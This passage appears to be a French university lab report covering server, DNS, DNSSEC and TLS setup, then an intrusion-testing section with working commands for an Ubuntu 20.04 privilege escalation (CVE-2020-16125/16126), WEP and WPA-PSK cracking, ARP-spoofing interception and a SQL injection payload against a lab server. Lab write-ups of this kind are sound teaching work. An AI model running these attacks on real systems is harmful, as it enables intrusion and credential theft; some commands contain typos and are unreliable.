 no shut&lt;br /&gt;
 ip address 10.60.108.2 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference Low&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un ssh sur les 2 routeurs, puis: &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
==IPv6==&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
&lt;br /&gt;
Ensuite, on resigne le DNS : &lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Et on redémarre bind9.&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.&lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 sudo adduser u1&lt;br /&gt;
 su u1&lt;br /&gt;
 id&lt;br /&gt;
   uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 whoami&lt;br /&gt;
   pwn&lt;br /&gt;
 id&lt;br /&gt;
   uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles : &lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
On peut ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé (message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID. &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):&lt;br /&gt;
&lt;br /&gt;
 crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par force brute avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-6.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John the Ripper nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I_was_here_IMA_G8&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=Réalisations=&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions virtuelles : &lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n piedbleu-raid1 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
